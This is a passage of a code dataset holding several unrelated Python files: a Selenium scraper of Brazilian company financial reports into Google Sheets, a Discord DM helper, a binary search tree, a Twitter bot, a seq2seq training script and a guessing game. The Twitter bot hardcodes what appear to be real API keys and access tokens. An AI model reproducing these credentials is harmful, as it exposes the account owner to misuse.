col.append(row[1].strip())\n        col.append(row[2].strip())\n        col.append(row[3].strip())\n        col.append(row[4].strip())\n        col.append('Ação')\n        col.append('ON')\n        col3 = browser.find_element_by_xpath('//*[@id=\"QtdAordCapiItgz_1\"]').text\n        col.append(col3.strip())\n        report.append(col)\n\n        col = []\n        col.append(company[1].strip())\n        col.append(row[1].strip())\n        col.append(row[2].strip())\n        col.append(row[3].strip())\n        col.append(row[4].strip())\n        col.append('Ação')\n        col.append('PN')\n        col3 = browser.find_element_by_xpath('//*[@id=\"QtdAprfCapiItgz_1\"]').text\n        col.append(col3.strip())\n        report.append(col)\n\n        return report\n    except Exception as e:\n        restart(e, __name__)\ndef reportContentRAD_DRE(company, row):\n    # this is where the magic gets downloaded\n    # company\n    # url = row[0]\n    # relat = row[2]\n    # optA = row[3]\n    # optB = row[4]\n    global google\n    if google != True:\n        google = googleAPI()\n\n    global url\n    global DRE\n    DRE = ''\n    try:\n\n        if url != row[0]:\n            browser.get(row[0])\n        if 'DRE' in row[2]:\n            xpathA = '//*[@id=\"cmbGrupo\"]'\n            xpathB = '//*[@id=\"cmbQuadro\"]'\n            frame_name = 'iFrameFormulariosFilho'\n            frame = '//*[@id=\"iFrameFormulariosFilho\"]'\n            table = '//*[@id=\"ctl00_cphPopUp_tbDados\"]'\n\n        browser.switch_to.default_content()\n        # find correct options A\n        browser.find_element(By.XPATH, xpathA)\n        wait.until(EC.presence_of_element_located((By.XPATH, xpathA)))\n        selectA = Select(browser.find_element(By.XPATH, xpathA))\n        selectA.select_by_visible_text(row[3])\n        time.sleep(2)\n\n        # find correct options B\n        browser.find_element(By.XPATH, xpathB)\n        wait.until(EC.presence_of_element_located((By.XPATH, xpathB)))\n        selectB = Select(browser.find_element(By.XPATH, xpathB))\n        selectB.select_by_visible_text(row[4])\n        time.sleep(2)\n\n        # focus and prepare for content\n        wait.until(EC.presence_of_element_located((By.XPATH, frame)))\n        browser.switch_to.frame(frame_name)\n        time.sleep(2)\n\n        wait.until(EC.presence_of_element_located((By.XPATH, table)))\n        time.sleep(2)\n        unidade = browser.find_element_by_xpath('//*[@id=\"TituloTabelaSemBorda\"]').text\n        if 'Reais Mil' in unidade:\n            unidade = 1\n        else:\n            unidade = 1000\n        rows: int = len(browser.find_elements(By.XPATH, '//*[@id=\"ctl00_cphPopUp_tbDados\"]/tbody/tr'))\n        cols: int = len(browser.find_elements(By.XPATH, '//*[@id=\"ctl00_cphPopUp_tbDados\"]/tbody/tr[1]/td'))\n\n        txt = 'txt'\n        if row[4] in ['Balanço Patrimonial Ativo', 'Balanço Patrimonial Passivo']:\n            txt = \"cell\"\n\n        # DATA GRABBING, FOR REAL\n        report = []\n        for r in range(2, rows + 1):\n            col = []\n            col.append(company[1].strip())\n            col.append(row[1].strip())\n            col.append(row[2].strip())\n            col.append(row[3].strip())\n            col.append(row[4].strip())\n            col1 = browser.find_element_by_xpath('//*[@id=\"ctl00_cphPopUp_tbDados\"]/tbody/tr[' + str(r) + ']/td[1]').text\n            col2 = browser.find_element_by_xpath('//*[@id=\"ctl00_cphPopUp_tbDados\"]/tbody/tr[' + str(r) + ']/td[2]').text\n            col3 = browser.find_element_by_xpath('//*[@id=\"ctl00_cphPopUp_tbDados\"]/tbody/tr[' + str(r) + ']/td[3]').text\n            if '\\n a \\n' in col3:\n                col3 = col3.split('\\n')[2] + ' -- ' + col3\n            col.append(col1.strip())\n            col.append(col2.strip())\n            try:\n                col.append(float(int(col3.replace('.','')) / int(unidade)))\n            except:\n                col.append(col3.strip())\n            report.append(col)\n\n\n        url = row[0]\n        return report\n    except Exception as e:\n        DRE = row[3]\n        return ''\ndef updateReportToSheet(company, report):\n    try:\n        global google\n        if google != True:\n            google = googleAPI()\n\n        loadCompanyReportsSheets(company)\n\n        # combine sheet_data and reports\n        sheet_data = report_sheet_reports.get_all_values()\n        sheet_data.extend(report)\n        # deduplicate data\n        sheet_data = dedupReport(sheet_data)\n        # batch update to sheet\n        data = sheet_data\n        start_col = 1\n        start_row = 1\n        sheet = report_sheet_reports\n        sheet_range = sheetRange(start_row, start_col, data)\n\n        cell_list = sheet.range(sheet_range)\n        for cell in cell_list:\n            cell.value = data[cell.row-1][cell.col-1]\n        sheet.resize(len(sheet_data), len(sheet_data[0])+1)\n        sheet.update_cells(cell_list)\n        logCompany(company, '3 data')\n    except Exception as e:\n        restart(e, __name__)\ndef dedupReport(report):\n    try:\n        # dummy separate dup and non-dup\n        dup = []\n        ndup = []\n        for i, item in enumerate(report):\n            dup.append([])\n            ndup.append([])\n            dup[i].append(item[0])\n            dup[i].append(item[1])\n            dup[i].append(item[2])\n            dup[i].append(item[3])\n            dup[i].append(item[4])\n            dup[i].append(item[5])\n            dup[i].append(item[6])\n            ndup[i].append(item[7])\n        # dummy deduplicate/remove duplicates\n        dup_dedup = []\n        ndup_dedup = []\n        for l, line in enumerate(dup):\n            if line not in dup_dedup:\n                dup_dedup.append(dup[l])\n                ndup_dedup.append(ndup[l])\n        # dummy combine again original list\n        report = []\n        for r, row in enumerate(dup_dedup):\n            report.append([])\n            report[r].extend(dup_dedup[r])\n            report[r].extend(ndup_dedup[r])\n\n        # dummy multiple sort\n        report.sort(key=lambda x: (x[5]), reverse=False)\n        report.sort(key=lambda x: (x[4]), reverse=False)\n        report.sort(key=lambda x: (x[3]), reverse=True)\n        report.sort(key=lambda x: (x[2]), reverse=False)\n        report.sort(key=lambda x: (x[1]), reverse=True)\n\n        return report\n    except Exception as e:\n        restart(e, __name__)\ndef logCompany(company, log):\n    try:\n        company [col ['LOG']] = log\n        company [col ['TIMESTAMP']] = datetime.now().strftime(\"%d/%m/%Y %H:%M:%S\")\n\n        row = bovespa_listagem.find(str(company [col ['CMV']])).row\n        sheet_range = 'A' + str(row) + ':' + sheetCol(len(company)) + str(row)\n        cell_list = bovespa_listagem.range(sheet_range)\n        for c, cell in enumerate(cell_list):\n            try:\n                cell.value = company [c]\n            except:\n                pass\n        bovespa_listagem.update_cells(cell_list)\n        # print ('debug LOG not upddated')\n\n        bovespa_log.append_row([company [col ['CMV']], company [col ['LOG']], company [col ['TIMESTAMP']]])\n        return company\n    except Exception as e:\n        restart(e, __name__)\n\n\n# MAIN BLOCKS\ndef companyList():\n    try:\n        sheet_companies = sheetCompany()\n        b3_companies = b3Company()\n\n        if sheet_companies:\n            while len(sheet_companies [0]) > len(b3_companies [0]):\n                for item in sheet_companies:\n                    item.pop()\n\n        print('UPDATE sheet of companies')\n\n        found = list_intersection(b3_companies, sheet_companies)\n        not_found = list_remove_extra(b3_companies, sheet_companies)\n\n        if not_found:\n            # batch add list\n            start_row = sheet_companies.__len__() + 1\n            start_col = 1\n            end_row = start_row + not_found.__len__()\n            end_col = bovespa_listagem.col_count\n            bovespa_listagem.resize(end_row, end_col)\n\n            sheet_range1 = sheetCol(start_col) + str(start_row + 1)\n            sheet_range2 = sheetCol(end_col) + str(end_row)\n            sheet_range = sheet_range1 + ':' + sheet_range2\n            cell_list = bovespa_listagem.range(sheet_range)\n            try:\n                for cell in cell_list:\n                    if cell.col == end_col - 1:\n                        cell.value = '1 company'\n                    if cell.col == end_col:\n                        cell.value = datetime.now().strftime(\"%d/%m/%Y %H:%M:%S\")\n                    try:\n                        cell.value = not_found [cell.row - start_row - 1] [cell.col - 1]\n                    except:\n                        pass\n                    # print(cell.row - start_row, cell.col -1)\n            except:\n                pass\n            bovespa_listagem.update_cells(cell_list)\n\n        print(not_found.__len__(), 'Companies updated to sheet')\n        print('...done')\n    except Exception as e:\n        restart(e, __name__)\ndef companyOrder():\n    try:\n        global google\n        if google != True:\n            google = googleAPI()\n        loadSheets()\n\n        global sheet_companies\n        print('ORDER BY list of companies')\n        sheet_companies = bovespa_listagem.get_all_values()\n\n        # order by timestamp newer\n        try:\n            sheet_companies = sorted(sheet_companies, key=lambda x: (x [col ['LOG']], x [col ['TIMESTAMP']]),\n                                     reverse=False)\n        except:\n            pass\n        print('done...')\n        return sheet_companies\n    except Exception as e:\n        restart(e, __name__)\ndef companySheet(company):\n    try:\n        global google\n        if google != True:\n            google = googleAPI()\n        print('GET COMPANY DATA for', company [col ['PREGÃO']])\n\n        global company_id_reports\n        if company [col ['REPORTS']]:\n            company_id_reports = company [col ['REPORTS']].replace(sheet_url, '')\n            action1 = 'found'\n        else:\n            company = getCompanyMainPage(company)\n            company_id_reports = createSheetReports(company) [col ['REPORTS']].replace(sheet_url, '')\n            company = setCompanyMainPage(company)\n            action1 = 'created'\n        global company_id_fundamentos\n        if company [col ['FUNDAMENTOS']]:\n            company_id_fundamentos = company [col ['FUNDAMENTOS']].replace(sheet_url, '')\n            action2 = 'found'\n        else:\n            company_id_fundamentos = createSheetFundamentos(company) [col ['FUNDAMENTOS']].replace(sheet_url, '')\n            company = setCompanyFundamentos(company)\n            action2 = 'created'\n\n\n        company = setb3Company(company)\n        logCompany(company, '1 company')\n\n        print('...' + action1, company [col ['PREGÃO']], company [col ['REPORTS']])\n        print('...' + action2, company [col ['PREGÃO']], company [col ['FUNDAMENTOS']])\n        print('...done', company [col ['PREGÃO']])\n        return company\n    except Exception as e:\n        restart(e, __name__)\ndef companyReportList(company):\n    try:\n        global google\n        if google != True:\n            google = googleAPI()\n        print('GET REPORTS for', company [col ['PREGÃO']])\n\n        sheet_reports_list = getSheetCompanyReports(company)\n        b3_reports_list = getb3CompanyReports(company)\n\n        company_reports_list = list_unique(sheet_reports_list, b3_reports_list)\n        company_reports_list = sorted(company_reports_list, key=lambda x: datetime.strptime(x [2], '%Y/%m/%d'),\n                                      reverse=True)\n\n        start_row = 6\n        start_col = 1\n        end_row = start_row + company_reports_list.__len__()\n        end_col = report_sheet_index.col_count\n        report_sheet_index.resize(end_row, end_col)\n\n        sheet_range1 = sheetCol(start_col) + str(start_row)\n        sheet_range2 = sheetCol(company_reports_list [0].__len__()) + str(end_row)\n        sheet_range = sheet_range1 + ':' + sheet_range2\n\n        cell_list = report_sheet_index.range(sheet_range)\n        for cell in cell_list:\n            try:\n                r = cell.row - start_row\n                c = cell.col - start_col\n                value = company_reports_list [r] [c]\n                cell.value = value\n            except:\n                pass\n        report_sheet_index.update_cells(cell_list)\n\n        logCompany(company, '2 report')\n\n        print('...done')\n        return company_reports_list\n    except Exception as e:\n        restart(e, __name__)\ndef companyReportListData(company, company_reports_list):\n    try:\n        global google\n        if google != True:\n            google = googleAPI()\n\n        print('GET DATA REPORT for', company [col ['PREGÃO']])\n        loadCompanyReportsSheets(company)\n\n        sheet_data = report_sheet_reports.get_all_values()\n        del sheet_data [0]\n        sheet_reports_list = list_unique([], [[r [1], r [2], r [3], r [4]] for r in sheet_data])\n\n        company_reports_list2 = [[c [2]] + p for p in parts for c in company_reports_list]\n        company_reports_list2 = sorted(company_reports_list2, key=lambda x: (x [0]), reverse=True)\n\n        missing_reports = list_difference(sheet_reports_list, company_reports_list2)\n        existing_reports = list_intersection(sheet_reports_list, company_reports_list2)\n\n        for i1, item1 in enumerate(existing_reports):\n            for l1, line1 in enumerate(company_reports_list):\n                if item1 [0] == line1 [2]:\n                    existing_reports [i1].insert(0, line1 [0])\n        for i2, item2 in enumerate(missing_reports):\n            for l2, line2 in enumerate(company_reports_list):\n                if item2 [0] == line2 [2]:\n                    missing_reports [i2].insert(0, line2 [0])\n\n        return (missing_reports, existing_reports)\n    except Exception as e:\n        restart(e, __name__)\ndef reportContent(company, r, row):\n    try:\n        global google\n        if google != True:\n            google = googleAPI()\n\n        full_report = []\n        report = ''\n\n        print('...report for', row [1], row [2], row [3], row [4])\n        # company\n        # url = row[0]\n        # relat = row[2]\n        # optA = row[3]\n        # optB = row[4]\n\n        # RAD GRABBER\n        if 'rad.cvm.gov.br' in row [0]:\n            # RAD-DRE GRABBER\n            if 'Dados' in row [2]:\n                report = reportContentRAD_Dados(company, row)\n            elif 'DRE' in row [2]:\n                if DRE != row[3]:\n                    report = reportContentRAD_DRE(company, row)\n        if report:\n            updateReportToSheet(company, report)\n            full_report.extend(report)\n            print('...saved')\n        else:\n            print('...not found')\n\n\n    except Exception as e:\n        restart(e, __name__)\n\n\n\n# System Warp-Up/Cool Down Block\ndef start():\n    try:\n        global timestamp\n        global google\n\n        print('-- Hey Ho,')\n        print('Let\\'s Go!')\n        timestamp = datetime.now()\n        timestamp = timestamp.strftime(\"%d/%m/%Y %H:%M:%S\")\n        print(timestamp)\n\n        # start engines\n        engine = startEngine()\n\n        # start Google\n        google = googleAPI()\n    except Exception as e:\n        restart(e, __name__)\ndef end():\n    try:\n        print('-- This is the end, my friend')\n        browser.quit()\n    except Exception as e:\n        print('-- Ops, Sheet Happens!')\n        quit()\ndef restart(e, msg):\n    try:\n        browser.quit()\n        print('stop working in', msg, e)\n        allinone_project()\n        quit()\n    except:\n        print('Erro terminal desconhecido. A coisa foi grave!')\n        browser.quit()\n        quit()\n\n\n# Projects Block\ndef allinone_project():\n    try:\n        print('ALL-IN-ONE PROJECT in action')\n        a = user_defined_variables()\n        b = start()\n        c = companyList()\n        d = companyOrder()\n\n        for i, company in enumerate(d):\n            if i < batch_companies:\n                company = companySheet(company)\n                company_reports_list = companyReportList(company)\n                reports = companyReportListData(company, company_reports_list)\n                for r, row in enumerate(reports[0]):\n                    if r < batch_reports:\n                        missing_reports = reportContent(company, r, row)\n\n        # z = end()\n    except Exception as e:\n        restart(e, __name__)\n\n\n# run_in_a_line_geek\n# aa = summer_project()  # list of companies\n# bb = vacation_project()  # company sheet and data\n# cc = winter_project()  # reports content\n# dd = spring_project() # datastudio\nee = allinone_project()  # all in one\n\nz = end()\n","repo_name":"janes/b3-bovespa","sub_path":"allinone.py","file_name":"allinone.py","file_ext":"py","file_size_in_byte":88168,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"8956046420","text":"# Send a DM to the user who wrote the message\nasync def DMUser(message, messagestring):\n    try:\n      await message.author.send(messagestring)\n    except:\n      return\n  \n# Send a DM to a specific user id\nasync def DMUserByID(bot, UserID, messagestring):\n try:\n   user = await bot.fetch_user(UserID)\n   await user.send(messagestring)\n except:\n   return\n return","repo_name":"EdenExperiments/Gyoshin-Raid-Planner-Final_Beta","sub_path":"Helpers/DMHelper.py","file_name":"DMHelper.py","file_ext":"py","file_size_in_byte":361,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"31825858828","text":"from .node import Node\n\n\nclass BinaryTree:\n    def __init__(self, iterable=None):\n        self.root = None\n\n        if iterable is None:\n            iterable = []\n\n        for ele in iterable:\n            self.insert(ele)\n\n    def __str__(self):\n        \"\"\"This shows the root node\n        \"\"\"\n        return f'Root {self.root}'\n\n    def __repr__(self):\n        \"\"\"This also shows the root node but more elegantly\n        \"\"\"\n        return f'Binary Tree. The root node is {self.root}'\n\n    def insert(self, val):\n        \"\"\"This will insert the wanted value into a binary tree.\n        If the current node is not empty, the value will insert itself as the\n        root. But if it is not empty, it will traverse through starting from\n        root. And determine whether they are less than or equal to current\n        value. If so, assign the value as the left child. If greater than the\n        current value, assign the value as right child.\n        \"\"\"\n\n        node = Node(val)\n        if self.root is None:\n            self.root = node\n            return node\n\n        current = self.root\n        while current:\n            if val == current.val:\n                raise ValueError('Value already exists')\n            if val < current.val:\n                if current.left is None:\n                    current.left = node\n                    break\n                current = current.left\n\n            if val > current.val:\n                if current.right is None:\n                    current.right = node\n                    break\n                current = current.right\n\n        return node\n\n    def in_order(self, callable=lambda node: print(node)):\n        \"\"\"Go left, visit, then go right\n        \"\"\"\n        def _walk(node=None):\n            if node is None:\n                return\n\n            # Go left\n            if node.left is not None:\n                _walk(node.left)\n\n            # Visit\n            callable(node)\n\n            # Go right\n            if node.right is not None:\n                _walk(node.right)\n\n        _walk(self.root)\n\n    def pre_order(self, callable=lambda node: print(node)):\n        \"\"\"Visit, go left, then right\n        \"\"\"\n        def _walk(node=None):\n            if node is None:\n                return\n\n            # Visit\n            callable(node)\n\n            # Go left\n            if node.left is not None:\n                _walk(node.left)\n\n            # Go right\n            if node.right is not None:\n                _walk(node.right)\n\n        _walk(self.root)\n\n    def post_order(self, callable=lambda node: print(node)):\n        \"\"\"Go left, then right then visit\n        \"\"\"\n        def _walk(node=None):\n            if node is None:\n                return\n\n            # Go left\n            if node.left is not None:\n                _walk(node.left)\n\n            # Go right\n            if node.right is not None:\n                _walk(node.right)\n\n            # Visit\n            callable(node)\n\n        _walk(self.root)\n","repo_name":"IndigoShock/data_structures_and_algorithms","sub_path":"data_structures/binary_search_tree/bst.py","file_name":"bst.py","file_ext":"py","file_size_in_byte":2974,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"16134233405","text":"import tweepy\n\nclass TwitterAPI:\n    def __init__(self):\n        consumer_key = \"UNgoWhTGVI2N9rEK8zhStZxIb\"\n        consumer_secret = \"98PZlY5fzIviVenuV0sGd29I4ieRYqUPLxsomVz9zx4m4mtnFR\"\n        auth = tweepy.OAuthHandler(consumer_key, consumer_secret)\n        access_token = \"859698006-c7Pve6LIlL0y6ZTQfPpWGlHlRbWekx26IWkAs8bh\"\n        access_token_secret = \"9M7BB563q9X26HPEgoGvmU1mfdu3PaRM6a9jvxA0No6zF\"\n        auth.set_access_token(access_token, access_token_secret)\n        self.api = tweepy.API(auth)\n\n    def tweet(self, message):\n        self.api.update_status(status=message)\n\nif __name__ == \"__main__\":\n    twitter = TwitterAPI()\n    twitter.tweet(\"I'm Posting My Awesome Tweet !!!\")\n    twitter.tweet(\"And Did I tell You This is a BOT? :D\")\n    ","repo_name":"hackertronix/Python101","sub_path":"Python Projects Showcase/twitter bot/twitterbot.py","file_name":"twitterbot.py","file_ext":"py","file_size_in_byte":757,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"19577594718","text":"import tensorflow as tf\ntf.enable_eager_execution()\n\nimport matplotlib.pyplot as plt\nimport matplotlib.ticker as ticker\nfrom sklearn.model_selection import train_test_split\n\nimport random\nimport unicodedata\nimport re\nimport numpy as np\nimport os\nimport io\nimport time\nimport tqdm\n\nTRAIN_FILE = 'athena_train.txt'\nTEST_FILE = 'athena_test.txt'\n\n# Read, then decode for py2 compat.\ndata = open(TRAIN_FILE, 'rb').read().decode(encoding='utf-8')\ndata = data.replace('(', ' ( ').replace(')', ' ) ').replace('[', ' [ ').replace(']', ' ] ').replace('{', ' { ').replace('}', ' } ')\n\ntrain = []\ntest = []\npara = ''\ntrain_flag = True\nstart = True\nfor line in data.splitlines():\n    if line == '':\n        train_flag = (random.random() > 0.05)\n        if not start:\n            if train_flag:\n                train.append(para)\n            else:\n                test.append(para)\n            para = ''\n    elif train_flag:\n        para += line + '\\n'\n    else:\n        para += line + '\\n'\n    start = False\n\ntrain_x = ['<start> '  + item.splitlines()[0] + ' <end>' for item in train]\ntrain_y = ['<start> ' + ' '.join((' '.join(item.splitlines()[1:])).split()) + ' <end>' for item in train]\ntest_x = ['<start> '  + item.splitlines()[0] + ' <end>' for item in test]\ntest_y = ['<start> ' + ' '.join((' '.join(item.splitlines()[1:])).split()) + ' <end>' for item in test]\n\ntrain_x = [' '.join(i for i in line.split() if not (i.isalpha() and len(i)==1)) for line in train_x]\ntrain_y = [' '.join(i for i in line.split() if not (i.isalpha() and len(i)==1)) for line in train_y]\nprint(train_y[0])\n\ndata = ' '.join(i for i in data.split() if not (i.isalpha() and len(i)==1))\n\nlang_tokenizer = tf.keras.preprocessing.text.Tokenizer(filters=' \\n\\t\\r\\n', lower = False)\nlang_tokenizer.fit_on_texts(['<start> ' + data + ' <end>'])\n\n\ntrain_x = lang_tokenizer.texts_to_sequences(train_x)\n\ntrain_y = lang_tokenizer.texts_to_sequences(train_y)\ntest_x = lang_tokenizer.texts_to_sequences(test_x)\ntest_y = lang_tokenizer.texts_to_sequences(test_y)\n\ntrain_x = tf.keras.preprocessing.sequence.pad_sequences(train_x, padding='post')\ntrain_y = tf.keras.preprocessing.sequence.pad_sequences(train_y, padding='post')[:, :50]\ntest_x = tf.keras.preprocessing.sequence.pad_sequences(test_x, padding='post')\ntest_y = tf.keras.preprocessing.sequence.pad_sequences(test_y, padding='post')[:, :50]\n\n\n\nBUFFER_SIZE = len(train_x)\nBATCH_SIZE = 5\nsteps_per_epoch = int(len(train_x)//BATCH_SIZE)\ntest_steps_per_epoch = int(len(test_x)//BATCH_SIZE)\nembedding_dim = 256\nunits = 1024\nvocab_size = len(lang_tokenizer.word_index)+1\n\ntrain_dataset = tf.data.Dataset.from_tensor_slices((train_x, train_y)).shuffle(BUFFER_SIZE)\ntrain_dataset = train_dataset.batch(BATCH_SIZE, drop_remainder=True)\ntest_dataset = tf.data.Dataset.from_tensor_slices((test_x, test_y)).shuffle(BUFFER_SIZE)\ntest_dataset = test_dataset.batch(BATCH_SIZE, drop_remainder=True)\n\nexample_input_batch, example_target_batch = next(iter(train_dataset))\nprint(example_input_batch.shape, example_target_batch.shape)\n\nclass Encoder(tf.keras.Model):\n  def __init__(self, vocab_size, embedding_dim, enc_units, batch_sz):\n    super(Encoder, self).__init__()\n    self.batch_sz = batch_sz\n    self.enc_units = enc_units\n    self.embedding = tf.keras.layers.Embedding(vocab_size, embedding_dim)\n    self.gru = tf.keras.layers.GRU(self.enc_units,\n                                   return_sequences=True,\n                                   return_state=True,\n                                   recurrent_initializer='glorot_uniform')\n\n  def call(self, x, hidden):\n    x = self.embedding(x)\n    output, state = self.gru(x, initial_state = hidden)\n    return output, state\n\n  def initialize_hidden_state(self):\n    return tf.zeros((self.batch_sz, self.enc_units))\n\nencoder = Encoder(vocab_size, embedding_dim, units, BATCH_SIZE)\n\nclass BahdanauAttention(tf.keras.layers.Layer):\n  def __init__(self, units):\n    super(BahdanauAttention, self).__init__()\n    self.W1 = tf.keras.layers.Dense(units)\n    self.W2 = tf.keras.layers.Dense(units)\n    self.V = tf.keras.layers.Dense(1)\n\n  def call(self, query, values):\n    # query hidden state shape == (batch_size, hidden size)\n    # query_with_time_axis shape == (batch_size, 1, hidden size)\n    # values shape == (batch_size, max_len, hidden size)\n    # we are doing this to broadcast addition along the time axis to calculate the score\n    query_with_time_axis = tf.expand_dims(query, 1)\n\n    # score shape == (batch_size, max_length, 1)\n    # we get 1 at the last axis because we are applying score to self.V\n    # the shape of the tensor before applying self.V is (batch_size, max_length, units)\n    score = self.V(tf.nn.tanh(\n        self.W1(query_with_time_axis) + self.W2(values)))\n\n    # attention_weights shape == (batch_size, max_length, 1)\n    attention_weights = tf.nn.softmax(score, axis=1)\n\n    # context_vector shape after sum == (batch_size, hidden_size)\n    context_vector = attention_weights * values\n    context_vector = tf.reduce_sum(context_vector, axis=1)\n\n    return context_vector, attention_weights\n\nattention_layer = BahdanauAttention(10)\n\nclass Decoder(tf.keras.Model):\n  def __init__(self, vocab_size, embedding_dim, dec_units, batch_sz):\n    super(Decoder, self).__init__()\n    self.batch_sz = batch_sz\n    self.dec_units = dec_units\n    self.embedding = tf.keras.layers.Embedding(vocab_size, embedding_dim)\n    self.gru = tf.keras.layers.GRU(self.dec_units,\n                                   return_sequences=True,\n                                   return_state=True,\n                                   recurrent_initializer='glorot_uniform')\n    self.fc = tf.keras.layers.Dense(vocab_size)\n\n    # used for attention\n    self.attention = BahdanauAttention(self.dec_units)\n\n  def call(self, x, hidden, enc_output):\n    # enc_output shape == (batch_size, max_length, hidden_size)\n    context_vector, attention_weights = self.attention(hidden, enc_output)\n\n    # x shape after passing through embedding == (batch_size, 1, embedding_dim)\n    x = self.embedding(x)\n\n    # x shape after concatenation == (batch_size, 1, embedding_dim + hidden_size)\n    x = tf.concat([tf.expand_dims(context_vector, 1), x], axis=-1)\n\n    # passing the concatenated vector to the GRU\n    output, state = self.gru(x)\n\n    # output shape == (batch_size * 1, hidden_size)\n    output = tf.reshape(output, (-1, output.shape[2]))\n\n    # output shape == (batch_size, vocab)\n    x = self.fc(output)\n\n    return x, state, attention_weights\n\ndecoder = Decoder(vocab_size, embedding_dim, units, BATCH_SIZE)\n\noptimizer = tf.compat.v1.train.AdamOptimizer(learning_rate=0.001)\n\ndef loss_function(real, pred):\n  mask = tf.math.logical_not(tf.math.equal(real, 0))\n  loss_ = tf.keras.losses.sparse_categorical_crossentropy(real, pred, from_logits = True)\n\n  mask = tf.cast(mask, dtype=loss_.dtype)\n  loss_ *= mask\n\n  return tf.reduce_mean(loss_)\n\n\ndef train_step(inp, targ, enc_hidden):\n  loss = 0\n\n  with tf.GradientTape() as tape:\n    enc_output, enc_hidden = encoder(inp, enc_hidden)\n\n    dec_hidden = enc_hidden\n\n    dec_input = tf.expand_dims([lang_tokenizer.word_index['<start>']] * BATCH_SIZE, 1)\n\n    # Teacher forcing - feeding the target as the next input\n    for t in range(1, targ.shape[1]):\n      # passing enc_output to the decoder\n      predictions, dec_hidden, _ = decoder(dec_input, dec_hidden, enc_output)\n\n      loss += loss_function(targ[:, t], predictions)\n\n      # using teacher forcing\n      dec_input = tf.expand_dims(targ[:, t], 1)\n\n  batch_loss = (loss / int(targ.shape[1]))\n\n  variables = encoder.trainable_variables + decoder.trainable_variables\n\n  gradients = tape.gradient(loss, variables)\n\n  optimizer.apply_gradients(zip(gradients, variables))\n\n  return batch_loss\n\nEPOCHS = 30\n\nfor epoch in range(EPOCHS):\n  start = time.time()\n\n  enc_hidden = encoder.initialize_hidden_state()\n  total_loss = 0\n\n  pbar = tqdm.tqdm(enumerate(train_dataset.take(steps_per_epoch)), total = steps_per_epoch)\n  for (batch, (inp, targ)) in pbar:\n    batch_loss = train_step(inp, targ, enc_hidden)\n    total_loss += batch_loss\n    pbar.set_description('LOSS : %f' % batch_loss)\n                                                   \n  test_loss = 0\n  for (batch, (inp, targ)) in tqdm.tqdm(enumerate(test_dataset.take(test_steps_per_epoch)), total = test_steps_per_epoch):\n    loss = 0\n    enc_output, enc_hidden = encoder(inp, enc_hidden)\n\n    dec_hidden = enc_hidden\n\n    dec_input = tf.expand_dims([lang_tokenizer.word_index['<start>']] * BATCH_SIZE, 1)\n\n    # Teacher forcing - feeding the target as the next input\n    for t in range(1, targ.shape[1]):\n      # passing enc_output to the decoder\n      predictions, dec_hidden, _ = decoder(dec_input, dec_hidden, enc_output)\n\n      loss += loss_function(targ[:, t], predictions)\n\n      # using teacher forcing\n      dec_input = tf.expand_dims(targ[:, t], 1)\n\n    batch_loss = (loss / int(targ.shape[1]))\n    test_loss += batch_loss\n\n    \n  # saving (checkpoint) the model every 2 epochs\n  encoder.save_weights('struct_encoder_' + str(epoch))\n  decoder.save_weights('struct_decoder_' + str(epoch))\n\n  print('Epoch {} Loss {:.4f} Test Loss {:.4f}'.format(epoch + 1,\n                                      total_loss / steps_per_epoch, test_loss/test_steps_per_epoch))\n  print('Time taken for 1 epoch {} sec\\n'.format(time.time() - start))\n\n\n","repo_name":"karan-sarkar/RPI","sub_path":"Software Verification/athena_predictionv2.py","file_name":"athena_predictionv2.py","file_ext":"py","file_size_in_byte":9334,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"17521517517","text":"import random\n\n\ndef jogar():\n    print(\"*********************************\")\n    print(\"Bem vindo ao jogo de adivinhacaio\")\n    print(\"*********************************\\n\")\n\n    # random.random() gera um numero entre 0.0 e 1.0\n    # random.randrange() deve passar em paremetros o inicio e o fim\n    numero_secreto = random.randrange(1, 101)\n    total_tentativas = 3\n    pontos = 100\n\n    print(\"Qual nivel de dificuldade?\\n \"\n          \"(1) Facil\\n (2) Médio\\n (3) Dificil\")\n\n    nivel = int(input(\"Defina o nivel: \"))\n\n    if(nivel == 1):\n        total_tentativas = 20\n    elif (nivel == 2):\n        total_tentativas = 10\n    else:\n        total_tentativas = 5\n\n    # não faz a necessidade de criar uma variavel contador e ir incrementando ela, o for faz isso\n    # cria uma variavel, e dentro do range fala o ponto de inicio e fim\n    for contador in range(1, total_tentativas+1):\n\n        print(\"Tentaiva {} de {}\".format(contador, total_tentativas))\n        chute = int(input(\"Digite um numero: \"))\n        print(\"Você digitou \", chute)\n\n        # operadores logicos geralnmente são escritos (or, and, not)\n        if (chute > 100 or chute < 1):\n            print(\"Digite um valor entre 1 e 100\")\n            # o continue ele vai para a proxima iteração\n            continue\n\n        if (numero_secreto == chute):\n            print(\"você acertou e fez {} pontos!\\n\".format(pontos))\n            break\n        else:\n            if (chute > numero_secreto):\n                print('você errou, o seu chute foi maior que o numero secreto\\n')\n\n            elif (chute < numero_secreto):\n                print(\"você errou, o seu chute foi menor que o numero secreto\\n\")\n            # abs é de numero absoluto\n            pontos_perdidos = abs(numero_secreto - chute)\n            pontos -= pontos_perdidos\n\n\n\n    print(\"Fim do jogo\")\n\nif __name__ == \"__main__\" :\n    jogar()\n\n","repo_name":"paulosantos071/python-jogo_forca_e_adivinhacao","sub_path":"Jogos/adivinhacao.py","file_name":"adivinhacao.py","file_ext":"py","file_size_in_byte":1881,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
